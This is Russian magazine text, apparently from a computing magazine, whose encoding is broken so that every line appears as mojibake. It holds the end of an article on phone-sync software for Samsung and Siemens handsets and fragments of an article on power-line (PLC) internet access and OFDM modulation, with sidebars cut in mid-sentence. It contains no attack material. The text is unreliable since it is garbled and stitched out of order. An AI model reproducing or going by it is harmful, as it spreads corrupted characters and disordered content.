íèå íà usbhub. Âûíèìàåì êàáåëü èç òåëåôîíà, æäåì 5 ñåêóíä, ñíîâà
âêëþ÷àåì. Çàïóñêàåì ïðîãðàììó P2KTools è îïÿòü äåëàåì ïîïûòêó ïîä-
êëþ÷èòüñÿ. Windows íàõîäèò íîâûå óñòðîéñòâà. Óêàçûâàåì ïóòü ê äðàé-
âåðàì (äðàéâåðà íàõîäÿòñÿ â ïàïêå ñ ïðîãðàììîé â êàòàëîãå /drv). 
Òåïåðü ìîæíî ïîëíîöåííî ðàáîòàòü ñ ïðîãðàììîé.
Ïîäðîáíîå îïèñàíèå òîãî, êàê âîñïîëüçîâàòüñÿ äàííîé ïðîãðàììîé, ìîæíî
ïðî÷èòàòü â ôàéëå ïîìîùè, òàê êàê îáû÷íûì ïåðåïèñûâàíèåì ÿ çàíèìàòü-
ñÿ íå õî÷ó � óñòàë ïèñàòü ïðî àìåðèêàíöåâ, ïîýòîìó ïåðåõîäèì ê Samsung.

[[EEaassyySSttuuddiioo PPIIMMSS && FFiillee MMaannaaggeerr AANNDD EEaassyyGGPPRRSS]] Õîòÿ äàííûå ñîôòèíû
è íàçâàíû ñ ïðèñòàâêîé Easy, íà ñàìîì äåëå ýòî ñîâñåì íå òàê � ãîëîâ-
íóþ áîëü ñ èõ óñòàíîâêîé ïðèäåòñÿ ïîèìåòü.
Åñëè ó òåáÿ, ìîé äðóã, êàáåëü ñ COM-ïîðòîì, òî òåáå íåñêàçàííî ïîâåç-
ëî, òàê êàê òåáå ïðîñòî íàäî óñòàíîâèòü ýòè ïðîãðàììû è âûÿñíèòü, êà-
êàÿ èç íèõ ïîäõîäèò ê òâîåìó òåëåôîíó. Ê ñîæàëåíèþ, òî÷íî ñêàçàòü,
÷òî ê ÷åìó ïîäõîäèò, ÿ íå ìîãó.
À òåïåðü òå, êîìó íå ïîâåçëî. Âàì ïðèäåòñÿ íàéòè äâå «øòó÷êè», íî ñàì-
îå ïðîòèâíîå íå â ýòîì, à â òîì, ÷òî ïðèäåòñÿ ïîêóïàòü ÈÊ-ïîðò â äîïîë-
íåíèå ê êàáåëþ. Ýòî îáÿçàòåëüíîå óñëîâèå � èíà÷å íè÷åãî ðàáîòàòü íå
áóäåò (ñêîëüêî ÿ íå ïðîâåðÿë, íà êàêèõ òîëüêî «ìàøèíàõ» è òåëåôîíàõ).
Òàê âîò, î òåõ äâóõ «øòó÷êàõ». Ýòî, âî-ïåðâûõ, IrCOMM2k � ýìóëÿòîð
ÈÊ-ïîðòà, ïðåâðàùàåò åãî â îáû÷íûé COM-ïîðò, à âî-âòîðûõ, usb2com
îïðåäåëÿåò òâîé USB-øíèê, êàê îáû÷íûé COM-ïîðò, ñ êîòîðûì áóäåò
ðàáîòàòü íàøà ïðîãðàììà.
Â ðåæèìå ðàáîòû ñ ïðîãðàììîé EasyGPRS èëè EasyStudio íå äîïóñêàé
ïîëíîé ðàçðÿäêè àêêóìóëÿòîðà òåëåôîíà, ïåðåä èñïîëüçîâàíèåì óáå-
äèñü â òîì, ÷òî îí çàðÿæåí.
Äàííûå ïðîãðàììû ïîçâîëÿþò çàïèñûâàòü ìåëîäèè, èçîáðàæåíèÿ, ðåäàêòè-
ðîâàòü çàïèñíóþ êíèæêó, îðãàíàéçåð îòïðàâëÿòü SMS è ýëåêòðîííóþ ïî÷òó.
Óñòàíîâè íîìåð ïîðòà, êóäà ïîäêëþ÷åí êàáåëü. Äëÿ ýòîãî íàæìè File -> Setup.
Óñòàíîâè íóæíûé ïîðò è êëèêíè ÎÊ. Çàòåì íàæèìàåøü êíîïêó «Îáíîâèòü
RE», ïîñëå ÷åãî äîëæíî íà÷àòüñÿ ñîåäèíåíèå ñ èñïûòóåìûì òåëåôîíîì. Ïî-
ñëå óñïåøíîãî êîííåêòà äîëæåí ïîÿâèòüñÿ ñïèñîê âñåõ çàïèñåé â òåëåôîíå. 
Çàïèñü ìåëîäèé: íàæèìàåì êíîïêó «Çàïèñü ìåëîäèé», äàëüøå æìàõà-
åì íà SELECT è âûáèðàåì ìåëîäèþ â ôîðìàòå MFF. Ïîñëå äàííîé îïå-

ðàöèè ìåëîäèÿ äîëæíà çàïèñàòüñÿ â òåëåôîí. Åñëè íåò, òî ïåðâîíà-
÷àëüíîãî êîííåêòà íå ïðîèçîøëî � ïîïðîáóé ïåðåçàïóñòèòü ïðîãðàì-
ìó. Â ýòîì æå ìåñòå òû ìîæåøü ïîñëóøàòü ìåëîäèþ, êîòîðóþ âûáðàë
(çâó÷èò ïî÷òè òàê æå, êàê áóäåò çâó÷àòü è íà òâîåì ìîáèëüíèêå). Çàïèñü
èçîáðàæåíèé: íàæèìàåì êíîïêó «Çàïèñè èçîáðàæåíèé». Âñå äàëüíåé-
øèå îïåðàöèè äåëàþòñÿ àíàëîãè÷íî çàïèñè ìåëîäèé. Õîòü ÷òî-òî â
ýòîé ïðîãðàììå ñäåëàíî ïî óìó. À âîò ñ èãðàìè îáëàäàòåëÿì Samsung
íå ïîâåçëî. Âèäèìî, ïðîèçâîäèòåëè ñ÷èòàþò, ÷òî îíè íå íóæíû âëà-
äåëüöàì ñîòîâûõ òåëåôîíîâ, è ïîýòîìó çàêà÷êà èõ â òåëåôîí î÷åíü
ñëîæíà � ïðîèçâîäèòü åå â «äîìàøíèõ» óñëîâèÿõ ÿ íå ðåêîìåíäóþ, à
ïîòîìó îïèñûâàòü íå áóäó.

[[ïïððîîããððààììììûû ääëëÿÿ SSiieemmeennss]] Áîëüøèíñòâî ìîäåëåé êîìïàíèè Siemens, â êî-
òîðûõ ïîäðàçóìåâàåòñÿ ñâÿçü ñ êîìïüþòåðîì, ìîãóò áûòü ïîäêëþ÷åíû ê
íåìó ïðè ïîìîùè êàáåëÿ äëÿ ïåðåäà÷è äàííûõ. Â òàêèõ ìîäåëÿõ áèçíåñ-
âàðèàíòà, êàê S55, S65, CX1, ìîæíî òàêæå èñïîëüçîâàòü Bluetooth. Äëÿ
âñåõ ìîäåëåé Siemens ïîäîéäåò ïîëèôîíèÿ ôîðìàòà midi 16 òîíoâ. Íåêî-
òîðûå ìîäåëè (íàïðèìåð, M55) ïîääåðæèâàþò òàêæå ôîðìàòû wav è mp3.
Åñòü òàêæå ìîäåëè (íàïðèìåð, SL55), êîòîðûå ïîíèìàþò è âîñïðîèçâîäÿò
ôîðìàò þæíîêîðåéñêîãî ïðîèçâîäèòåëÿ ñîòîâûõ òåëåôîíîâ mmf. Êðîìå
òîãî, áîëüøèíñòâî ìîäåëåé ýòîé ìàðêè ïðîèãðûâàþò ñâîé ôîðìàò ìåëî-
äèé rte. Â ëþáîì ñëó÷àå, ïðåæäå ÷åì çàêà÷èâàòü ìåëîäèþ, ïîèíòåðåñóé-
ñÿ î òåõíè÷åñêèõ õàðàêòåðèñòèêàõ òðóáêè, êàêîé ôîðìàò ìåëîäèé îíà ïî-
íèìàåò. Íà ñîôòå äëÿ ñèìåíñîâ ïîäðîáíî îñòàíàâëèâàòüñÿ íå áóäó, òàê
êàê îí íå áëåùåò ôóíêöèîíàëüíîñòüþ, äà è óñòàíîâêà åãî ïðîñòà êàê äâà
ïàëüöà îá àñôàëüò. Ïîýòîìó ñêàæó ëèøü ïàðó ñëîâ îá SiMoCo � Siemens
Mobile Control. Ýòà ñîôòèíêà èíòåðåñíà òîëüêî ðàçíîîáðàçèåì ïîääåðæè-
âàåìûõ ìîäåëåé, ñðåäè êîòîðûõ: S25, C35(i), M35, S35(i), SL42(i), SL45(i),
C45, S45(i), ME45, M,MT50, C55, S55, SL55, M55, A60, C60, MC60, CF62,
C65, M65, CX65, S65, è ýòîò ñïèñîê ïåðèîäè÷åñêè ïîïîëíÿåòñÿ.

[[ââììååññòòîî ççëëîîêêëëþþ÷÷ååííèèÿÿ]] Íó âîò êòî-òî ñïðîñèò, ïî÷åìó íå ïèøåì ïðî Sony,
Ericsson è LG. Ïðî ñîôò äëÿ ìîáèë ýòèõ êîíòîð ìû ñ II_uxa ïèñàòü âîîá-
ùå íå õîòèì. Íà íàø âçãëÿä, åùå íå çàïðîãðàììèëè äîñòîéíîãî ÏÎ äëÿ
íèõ, à ñëåäîâàòåëüíî, äèëåììà âûáîðà îñòàåòñÿ çà òîáîé. Åñëè ÷òî,
áîìáè íàøè ìûëüíèêè âîïðîñàìè � ìû ïîñòàðàåìñÿ íà íèõ îòâåòèòü.
Íà ýòîì ïîçâîëü ðàñêëàíÿòüñÿ è óäàëèòüñÿ 
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ðàçâèòèþ PLC-òåõíîëîãèé (Power
Line Communication). Î÷åíü ñêîðî
íà ðûíêå ïîÿâèëîñü ñðàçó íåñ-
êîëüêî ðàçðàáîòîê, êîòîðûå èñ-
ïîëüçîâàëè ñóùåñòâóþùèå ñåòè
ýëåêòðîïèòàíèÿ (120 èëè 220 Â)
äëÿ óñïåøíîé ïåðåäà÷è äàííûõ. 
Íå ñòîèò ñ÷èòàòü, ÷òî âñå ýòè òåõ-
íîëîãèè èçíà÷àëüíî ðàçðàáàòûâà-
ëèñü, êàê åùå îäèí áûñòðûé è óäîáíûé ñïîñîá îáåñïå÷åíèÿ äîñòóïà â
Èíòåðíåò. Íà ñàìîì äåëå, èõ ïðèìåíåíèå çíà÷èòåëüíî øèðå. Òàê, â çà-
âèñèìîñòè îò çàäà÷ âûäåëàþò íåñêîëüêî òèïîâ ïîäîáíûõ òåõíîëîãèé.
Ïåðâûå � íèçêîñêîðîñòíûå (ñêîðîñòü èíîãäà íèæå, ÷åì 0.01 Êáèò/ñ) �
ñòàëè èñïîëüçîâàòü â ýíåðãåòèêå íà âûñîêîâîëüòíûõ ìàãèñòðàëÿõ äëÿ
ïåðåäà÷è èíôîðìàöèè î íàïðÿæåíèè íà ïîäñòàíöèÿõ è ïðî÷åé òåõíè÷åñ-
êîé èíôîðìàöèè. Ñêîðîñòü, êîíå÷íî, íå ôîíòàí, íî âïîëíå ïðèåìëåìà
äëÿ ïåðåäà÷è íåáîëüøèõ îáúåìîâ èíôîðìàöèè. Òåì áîëåå, íà ðàññòîÿ-
íèè â äåñÿòêè êèëîìåòðîâ. Âòîðîé òèï � îáìåí ñî ñðåäíåé 0.01 � 50
Êáèò/ñ ñêîðîñòüþ íà ðàññòîÿíèè äî 2�3 êèëîìåòðîâ � òàêæå èñïîëüçó-
åòñÿ â îñíîâíîì ýíåðãåòèêàìè, íî â îòëè÷èå îò ïðåäûäóùåãî òèïà ïîç-
âîëÿåò îáåñïå÷èòü äèñòàíöèîííîå óïðàâëåíèå è êîíòðîëü íàä ðàçëè÷-
íûìè îáúåêòàìè, ìîíèòîðèíã ñàìûõ ðàçíîîáðàçíûõ õàðàêòåðèñòèê è
ò.ï. Äëÿ íàñ æå íàèáîëüøèé èíòåðåñ ïðåäñòàâëÿåò âûñîêîñîðòíàÿ ïåðå-
äà÷à äàííûõ. Ðàçðàáîò÷èêè, êîòîðûå íà÷èíàëè çàíèìàòüñÿ òàêèìè òåõ-
íîëîãèÿìè, ïëàíèðîâàëè, ÷òî îíè áóäóò èñïîëüçîâàòüñÿ äëÿ ñîçäàíèÿ
òàê íàçûâàåìîãî «èíòåëëåêòóàëüíîãî äîìà», â êîòîðîì ëþáûå áûòîâîå
ïðèáîðû áóäóò îáùàòüñÿ ìåæäó ñîáîé ïîñðåäñòâîì îáû÷íîé ïðîâîäêè è
êîîðäèíèðîâàòüñÿ ñïåöèàëüíûìè äåâàéñàìè. Â ñôåðå êîìïüþòåðîâ òà-
êèå âîçìîæíîñòè âûãëÿäåëè åùå áîëåå óáåäèòåëüíî � íàêîíåö-òî óäà-
ëîñü áû èçáàâèòüñÿ îò êó÷è íåíóæíûõ ïðîâîäîâ, ñîåäèíÿþùèõ êîìïüþ-
òåð ñî ñêàíåðàìè, ïðèíòåðàìè è ïðî÷åé ïåðèôåðèåé. Îäíàêî áûñòðåå
âñåãî òàêèå òåõíîëîãèè ñòàëè èñïîëüçîâàòü äëÿ ïðåäîñòàâëåíèÿ âûñî-
êîñêîðîñòíîãî äîñòóïà â Èíòåðíåò!

[äîìàøíÿÿ ïðîâîäêà, îíà æå Çëî] Âîîá-
ùå, ïðåäñòàâèòü òî, ÷òî ÷åðåç ðîçåòêó ìîæíî
ïîëó÷èòü ïåðåäàâàòü äàííûå ñî ñêîðîñòüþ äî
20 Ìáèò/ñ (à èìåííî ýòó öèôðó ïðåäëàãàþò íû-
íåøíèå òåõíîëîãèè), ìîæíî ñ òðóäîì. Åñëè
áðàòü îáû÷íûé Ethernet, òî íèêàêèõ ñîìíåíèé
íå âîçíèêàåò. Èñïîëüçóåìûå ïðîâîäíèêè áûëè
èçíà÷àëüíî ïðåäíàçíà÷åíû äëÿ âûñîêîñêîðî-

[íåóæåëè ýòî âîçìîæíî?] Ñîîáùåíèÿ î
òåõíîëîãèÿõ, ïîçâîëÿþùèõ ïåðåäàâàòü öèôðî-
âóþ èíôîðìàöèþ ÷åðåç îáû÷íûå ýëåêòðè÷åñ-
êèå ëèíèè, óæå óïîìèíàëèñü â íîâîñòÿõ. Îäíà-
êî ìû íå óäåëÿëè èì äîëæíîãî âíèìàíèÿ, òàê
êàê ñ÷èòàëè, ÷òî ýòî ïðåðîãàòèâà áîëåå öèâè-
ëèçîâàííûõ ñòðàí, ãäå äîìà ðåäêî ãîðÿò îò êî-
ðîòêèõ çàìûêàíèé, ïðîâîäêó åæåãîäíî ïðîâå-
ðÿþò è ïðîâîäÿò ðåìîíòíî-ìîíòàæíûå ðàáîòû.
Ïðèçíàòüñÿ, åùå íåäàâíî ÿ ñ òðóäîì ìîã ïðåäñ-
òàâèòü, êàêèì îáðàçîì íàøó âåòõóþ è óáîãóþ
ïðîâîäêó, ýëåêòðè÷åñêèå ðàñïðåäåëèòåëè, êî-
òîðûå, â ëó÷øåì ñëó÷àå, áûëè óñòàíîâëåíû
10�20 ëåò íàçàä ïüÿíûìè ýëåêòðèêàìè, ìîæíî
èñïîëüçîâàòü äëÿ ïåðåäà÷è öèôðîâûõ äàííûõ.
Íå âåðèë äî ñàìîãî ïîñëåäíåãî ìîìåíòà è âñÿ-
÷åñêè ñïîðèë ñ òåìè, êòî ñ÷èòàë èíà÷å. Äàæå
ñîîáùåíèÿ î òîì, ÷òî èíîñòðàííûå èíâåñòîðû
õîòÿò âëîæèòü â ðàçâåðòûâàíèå ñåòè íà îñíîâå
ýòîé òåõíîëîãèè 4 ìèëëèîíà äîëëàðîâ, íå ìîã-
ëè ìåíÿ óáåäèòü â îáðàòíîì�. Íî êîãäà ÿ óâè-
äåë, ÷òî ýòî ÷óäî âñå-òàêè ðàáîòàåò, ÿ ïîíÿë,
íàñêîëüêî ÿ îøèáàëñÿ.

[òåõíîëîãèè áûâàþò ðàçíûå�] Èññëåäî-
âàíèÿ â îáëàñòè ïåðåäà÷è äàííûõ ïî îáû÷íûì
ýëåêòðè÷åñêèì ëèíèÿì íà÷àëèñü åùå 30 ëåò
íàçàä. Ðàçðàáîòêîé çàíèìàëèñü ñðàçó íåñêîëü-
êî äåñÿòêîâ íàó÷íî-èññëåäîâàòåëüñêèõ èíñòè-
òóòîâ ïî âñåìó ìèðó � íàñòîëüêî âåëèêî áûëî
èñêóøåíèå ðàçðàáîòàòü òåõíîëîãèþ, ñ ïî-
ìîùüþ êîòîðîé ëåãêî ìîæíî áûëî «ñðóáèòü
êóø». Òîëüêî âîò íåçàäà÷à: ñëàáàÿ ïîìåõîçà-
ùèùåííîñòü èñïîëüçóåìîãî êàíàëà ñâîäèëà
âñå ïîïûòêè ðàçðàáîò÷èêîâ íà «íåò». Â òî âðå-
ìÿ íå ñóùåñòâîâàëî íè îäíîé ñåðüåçíîé òåõíî-
ëîãèè, êîòîðàÿ ïîìîãëà áû îáîéòè ýòè îãðàíè-
÷åíèÿ, ïîýòîìó äåéñòâóþùèõ ðàçðàáîòîê íå
áûëî äî ñàìîãî íà÷àëà 90-õ ãîäîâ. Âñå èçìåíè-
ëîñü ïîñëå ïîÿâëåíèÿ ñîâðåìåííûõ ñèãíàëüíî-
öèôðîâûõ ïðîöåññîðîâ è íîâûõ ìåòîäîâ ìîäó-
ëÿöèè ñèãíàëà. Èìåííî îíè è ñïîñîáñòâîâàëè
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Èçó÷àåì 
íîâóþ òåõíîëîãèþ 
äîñòóïà â èíåò

Âñÿ èíôîðìàöèÿ ïðèâåäå-
íà â öåëÿõ îçíàêîìëåíèÿ.
Àâòîð è ðåäàêöèÿ íå íåñóò
îòâåòñòâåííîñòè çà òåõ,
êòî, ðåøèâ ïîýêñïåðèìåí-
òèðîâàòü, âñòàâèò â ðîçåò-
êó ìîäåì, ñåòåâóõó èëè
ñîáñòâåííóþ ãîëîâó.

ïîêóïàÿ PLC-àäàïòåð
íóæíî óáåäèòüñÿ, ÷òî
áû íà íåì áûë èçîá-
ðàæåí ýòîò ëîãîòèï



ñòíîé ïåðåäà÷è äàííûõ. Áîëåå òî-
ãî, íà èñïîëüçóåìûé êàáåëü íàê-
ëàäûâàåòñÿ öåëûé ðÿä îãðàíè÷å-
íèé: ïî åãî êà÷åñòâó, êàòåãîðèè
(íàïîìíþ, ÷òî ñóùåñòâóåò íåñ-
êîëüêî êàòåãîðèé âèòîé ïàðû),
ìàêñèìàëüíîé äëèíå è ïðàâèëàì
ìîíòàæà. Òàê ÷òî íè÷åãî óäèâè-
òåëüíî â âûñîêèõ ñêîðîñòÿõ íåò.
Äðóãîå äåëî � íàøà îòå÷åñòâåí-
íàÿ ïðîâîäêà. Òû òîëüêî âñïîìíè
ýòè âåòõèå ïðîâîäà, êîòîðûå â
áîëüøèíñòâå ñëó÷àåâ ïðîëîæåíû
äåñÿòèëåòèÿ íàçàä. Ìàëî òîãî,
÷òî îíè èìåþò êó÷ó èçãèáîâ è
ïîâðåæäåíèé, à òàêæå íàñïåõ
ñïàÿííûõ ñöåïîê, òàê ïî íèì åùå
ïåðåäàåòñÿ ýëåêòðîýíåðãèÿ ïîä
âûñîêèì íàïðÿæåíèåì! Ïðîâåäó
àíàëîãèþ: ïðåäñòàâü, ÷òî òåáå
âíåçàïíî çàõîòåëîñü ïîïëàâàòü,
è òû ðåøèë ïîéòè â áàññåéí. Â
áàññåéíå âñåãäà âûäåðæàí òåì-
ïåðàòóðíûé ðåæèì (òî åñòü òû íå
çàáîëååøü), âîäà î÷èùåíà õëîð-
êîé (òû íå ïîäöåïèøü èíôåêöèþ,
êîòîðóþ ïðèíåñëè äðóãèå êóïàëü-
ùèêè), äà è âîîáùå, âñå ñäåëàíî
äëÿ òîãî, ÷òîáû ïðîöåññ êóïàíèÿ
áûë ìàêñèìàëüíî êîìôîðòåí è
áåçîïàñåí. Òî÷íî òàêæå ÷óâñòâóåò ñåáÿ öèôðîâûå äàííûå, êîòîðûå
ïåðåäàþòñÿ ïî õîðîøèì ìåäíûì èëè îïòîâîëîêîííûì ïðîâîäíèêàì.
À òåïåðü (ñëàáîíåðâíûõ ïðîøó óäàëèòüñÿ) ïðåäñòàâü, ÷òî òû èñêóïàë-
ñÿ â åìêîñòè ñ êîíöåíòðèðîâàííîé ñîëÿíîé êèñëîòîé. Äóìàþ, íå íóæ-
íî îáúÿñíÿòü, ÷òî áû ñ òîáîé ñòàëî? :) Òî æå ñàìîå ïðîèñõîäèò è ñ ñèã-
íàëîì, êîòîðûé áåç ïðåäâàðèòåëüíîé îáðàáîòêè è èñïîëüçîâàíèÿ
ñïåöèàëüíûõ òåõíîëîãèé ïóñòèëè ÷åðåç îáûêíîâåííóþ ýëåêòðè÷åñêóþ
ïðîâîäêó. Ïîñòîÿííûå íàâîäêè è âûñîêèé êîýôôèöèåíò çàòóõàíèÿ
ñðàçó æå ñâåäóò åãî íà íåò, ïðåæäå ÷åì îí óñïååò ïðîéòè êàêèõ-òî ïà-
ðó-òðîéêó ìåòðîâ. Ýòî ëåãêî ìîæíî îáúÿñíèòü.
Íóæíî ïîíèìàòü, ÷òî ýëåêòðè÷åñêàÿ ïðîâîäêà ïðåäíàçíà÷åíà äëÿ ïå-
ðåäà÷è ýëåêòðîýíåðãèè � è òîëüêî. Äàæå åñëè åå óìåëî ïðîëîæèòü,

êà÷åñòâåííî ñïàÿòü âñå ñîåäèíå-
íèÿ è èñïîëüçîâàòü èñêëþ÷èòåëü-
íî õîðîøèé ïðîâîä, ýòîãî âðÿä ëè
áóäåò äîñòàòî÷íî äëÿ ïåðåäà÷è
äàííûõ. Äåëî â òîì, ÷òî ÷àñòîò-
íûå õàðàêòåðèñòèêè ýëåêòðè÷åñ-
êîãî êàáåëÿ äàæå ïî ñàìûì
ñêðîìíûì îöåíêàì íå ñðàâíèìû
ñ òåìè, êîòîðûìè îáëàäàåò, íàï-
ðèìåð, âèòàÿ ïàðà. Ñóäè ñàì: åñ-
ëè ó òåáÿ íåò õîðîøåãî ìóçûêàëü-
íîãî ãîëîñà, òû âðÿä ëè ñìîæåøü
ïðàâèëüíî áðàòü âûñîêèå íîòû. Â
ñâîþ î÷åðåäü, êàáåëü íå ñìîæåò
áûñòðî ïåðåäàâàòü öèôðîâîé

Îñíîâíàÿ òðóäíîñòü ðàç-
âåðòûâàíèÿ PLC â ðåãèîíàõ
� îòñóòñòâèå øèðîêîãî
èíòåðíåò-êàíàëà äî Ìîñê-
âû. Åñëè «Ýëåêòðî-êîì»
âñåðüåç ïëàíèðóåò ïîäêëþ-
÷èòü ñîòíè òûñÿ÷ àáîíåí-
òîâ, òî åìó ýòîò âîïðîñ êà-
êèì-òî îáðàçîì ïðèäåòñÿ
ðåøàòü. Òåì áîëåå ÷òî äëÿ
ïîääåðæêè VoIP (òåëåôî-
íèÿ ÷åðåç Èíòåðíåò) ïîòðå-
áóåòñÿ êàíàë, èìåþùèé
ìèíèìàëüíûå çàäåðæêè.

Òåõíîëîãèþ PLC ñîâåð-
øåííî íåîáÿçàòåëüíî èñ-
ïîëüçîâàòü äëÿ äîñòóïà â
Èíòåðíåò. Ñ ïîìîùüþ îáî-
ðóäîâàíèÿ, ñîîòâåòñòâóþ-
ùåãî ñïåöèôèêàöèè
Homeplug, ìîæíî îðãàíè-
çîâàòü âïîëíå ðàáîòîñïî-
ñîáíóþ ëîêàëüíóþ ñåòü. 
Î ðåçóëüòàòàõ ïîäîáíîãî
ïðèìåíåíèÿ òåõíîëîãèé
ìîæíî ïðî÷èòàòü çäåñü �
www.ixbt.com/comm/pwrln-
power-net.shtml.

ïîñìîòðåâ íà ñõåìó, ñòàíîâèòñÿ ÿñíî, ÷òî êëþ÷åâîé ýëåìåíò òåõíîëîãèè
� ýòî ñïåöèàëüíûé àäàïòåð, êîòîðûé âñòàâëÿåòñÿ â îáûêíîâåííóþ ðî-
çåòêó (íà ñõåìå � PLC-ìîäåì)

ñèãíàë â ðîçåòêó ïîñòóïàåò 
ñ ïîìîùüþ ñïåöèàëüíûõ
äåâàéñîâ � èíúåêòîðîâ
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ñèãíàë, îáëàäàÿ íåäîñòàòî÷íûìè ÷àñòîòíûìè õàðàêòåðèñòèêàìè. Ñ
äðóãîé ñòîðîíû: åñëè íà ýñòðàäå åñòü ëþäè áåç ãîëîñà, çíà÷èò, è
îáû÷íóþ ïðîâîäêó ìîæíî çàñòàâèòü ïåðåäàâàòü äàííûå? :) Äëÿ ýòîãî
ðàçðàáîò÷èêàì PLC ïðèøëîñü èñïîëüçîâàòü ñïåöèàëüíûå ñõåìû è àë-
ãîðèòìû ïðåäñòàâëåíèÿ è êîäèðîâàíèÿ ñèãíàëà, î êîòîðûõ ìû î÷åíü
ñêîðî ïîãîâîðèì ïîäðîáíåå. Îäíàêî íåäîñòàòî÷íûå ÷àñòîòíûå õàðàê-
òåðèñòèêè � ýòî íå åäèíñòâåííàÿ ïðîáëåìà.
Òðóäíîñòü çàêëþ÷àåòñÿ åùå è â òîì, ÷òî ïàðàìåòðû ñðåäû âíóòðè
ïðîâîäêè ïîñòîÿííî èçìåíÿþòñÿ. Îíè íàïðÿìóþ çàâèñÿò îò íàïðÿæå-
íèÿ, êîòîðîå èäåò îò ðàñïðåäåëèòåëüíîãî ùèòêà, êîëè÷åñòâà îäíîâðå-
ìåííî âêëþ÷åííûõ â öåïü ïðèáîðîâ, à òàêæå äðóãèõ ôàêòîðîâ. Êàæ-
äûé ðàç, êîãäà âêëþ÷àåøü â êîìíàòå ñâåò, ïîäîãðåâàåøü îáåä â ìèê-
ðîâîëíîâêå, òû íåçàìåòíî äëÿ ñåáÿ èçìåíÿåøü ñðåäó âíóòðè ïðîâî-
äîâ, ïðè÷åì íå òîëüêî â ñâîåé êâàðòèðå, íî è ó ñîñåäåé. Ìàëî òîãî,
íåêîòîðûå ýëåêòðîïðèáîðû (íàïðèìåð, áàíàëüíûé ïûëåñîñ) ñïîñîá-
íû ñèëüíî «øóìåòü» è ãåíåðèðîâàòü ñåðèþ íåïðîäîëæèòåëüíûõ èì-
ïóëüñîâ, êîòîðûå ñîçäàþò â ïðîâîäêå ñàìóþ íàñòîÿùóþ «êàøó». Íó è
íàïîñëåäîê îòâåòü íà âîïðîñ: òåáå êîãäà-íèáóäü ïðèõîäèëîñü îïåðà-
òèâíî äåëàòü ïðîñòåíüêóþ àíòåííó èç êóñêà ïðîâîëîêè? Íàâåðíÿêà. À
âåäü ïðîâîäà ýëåêòðîëèíèè, íåñìîòðÿ íà òî, ÷òî çàìóðîâàíû â ñòåíó,
î÷åíü íåïëîõî ïðèíèìàþò ðàäèîâîëíû áîëüøèíñòâà ðàäèîñòàíöèé,
ñðåäè êîòîðûõ ìîãóò îêàçàòüñÿ è òå, êîòîðûå èñïîëüçóþò òó æå ïîëî-
ñó ÷àñòîò, ÷òî è òåõíîëîãèè PLC.

[ìîäóëÿöèÿ ñèãíàëà] Ïîíÿòíî, ÷òî ðåøèòü âñå ýòè ïðîáëåìû â
îäèíî÷êó ÷ðåçâû÷àéíî ñëîæíî. Ïîýòîìó â êîíöå äåâÿíîñòûõ ãîäîâ
áûë îáðàçîâàí ñïåöèàëüíûé àëüÿíñ Homeplug PowerLine Alliance, â
ñîñòàâ êîòîðîãî âîøëè òàêèå èçâåñòíûå êîìïàíèè, êàê 3Com, Cisco
Systems, Hewlett-Packard, Intel, AMD. Îñíîâíàÿ çàäà÷à àëüÿíñà, êîòî-
ðûé íà÷àë çàíèìàòüñÿ ðàçðàáîòêîé ïåðâîé âåðñèåé ñòàíäàðòà
Homeplug 1.0, çàêëþ÷àëàñü â âûáîðå îïòèìàëüíîé ñõåìû ìîäóëÿöèè
ñèãíàëà, êîòîðàÿ ìîãëà áû ñïðàâèòüñÿ ñ óæàñíîé çàøóìëåííîñòüþ
ýëåêòðè÷åñêîé ïðîâîäêè. Â 2000 ãîäó ñðåäè äåñÿòêîâ ïðåäëîæåííûõ
âàðèàíòîâ, áûëà îôèöèàëüíî âûáðàíà ñõåìà îðòîãîíàëüíîãî ðàçäå-
ëåíèÿ ÷àñòîò OFDM (Orthogonal Frequency Division Multiplexing). Ýòà
ñõåìà óæå óñïåëà õîðîøî çàðåêîìåíäîâàòü ñåáÿ â áåñïðîâîäíûõ Wi-
Fi ñåòÿõ (802.11g è 802.11a), êîòîðûå òàêæå ïîäâåðæåíû ñàìûì ðàç-
íîîáðàçíûì ïîìåõàì è âëèÿíèþ îêðóæàþùåé ñðåäû.
Íî ÷òî âîîáùå ïðåäñòàâëÿåò ñîáîé ïîíÿòèå «ìåòîä ìîäóëÿöèè»? Åñëè
ãîâîðèòü ïðîñòûì ÿçûêîì, òî ýòî ñïîñîá ïðåäñòàâëåíèÿ è ïåðåäà÷è èí-
ôîðìàöèè. Îáúÿñíÿþ íà ïàëüöàõ. Äîïóñòèì, òåáå íóæíî ïåðåñëàòü
áîëüøóùèé ôàéë � òâîè äåéñòâèÿ? Â ïðèíöèïå, ýòî ìîæíî ñäåëàòü ïî
e-mail, îäíàêî â ýòîì ñëó÷àå âåëèêà âåðîÿòíîñòü òîãî, ÷òî èç-çà ñâîåãî
ðàçìåðà ïèñüìî îñÿäåò íà ïî÷òîâîì ñåðâåðå è äî àäðåñàòà íå äîéäåò.
Ïîýòîìó ëó÷øå áóäåò, íàïðèìåð, ðàçäåëèòü ôàéë íà íåñêîëüêî íåáîëü-
øèõ ÷àñòåé è îòïðàâèòü èõ ïî îòäåëüíîñòè, èëè æå âîîáùå âîñïîëüçî-

âàòüñÿ FTP, êîòîðûé ïîääåðæèâàåò äîêà÷êó. Öèôðîâîé ñèã-
íàë àíàëîãè÷íî ôàéëó òàêæå ìîæíî ïðåäñòàâèòü è ïåðå-
äàòü ðàçëè÷íûìè ñïîñîáàìè. Òàê âîò, ýòè ñïîñîáû ïî-óìíî-
ìó è íàçûâàþòñÿ ìåòîäàìè ìîäóëÿöèè.
×òî êàñàåòñÿ êîíêðåòíî OFDM, òî îí èçíà÷àëüíî îðèåí-
òèðîâàí íà âûñîêîñêîðîñòíóþ ïåðåäà÷ó áîëüøèõ îáúå-
ìîâ öèôðîâîé èíôîðìàöèè. Îñíîâíàÿ ôèøêà çàêëþ÷à-
åòñÿ â òîì, ÷òî ñèãíàë óìûøëåííî ðàçäåëÿåòñÿ íà äåñÿò-
êè íåñóùèõ ÷àñòîò (ãðóáî ãîâîðÿ, ÷àñòåé), ïî êîòîðûì
îäíîâðåìåííî íà÷èíàåò îñóùåñòâëÿòüñÿ ïåðåäà÷à èí-
ôîðìàöèè. Íà ïðèåìíèêå äàííûå ñ ðàçëè÷íûõ ÷àñòîò äå-
ìîäóëÿòîðîì ñîáèðàþòñÿ âîåäèíî. Ïîìèìî ýòîãî èñ-
ïîëüçóåòñÿ íåñêîëüêî äîïîëíèòåëüíûõ íåñóùèõ ÷àñòîò,
ïî êîòîðûì ïåðåäàåòñÿ èñêëþ÷èòåëüíî òåõíè÷åñêàÿ èí-
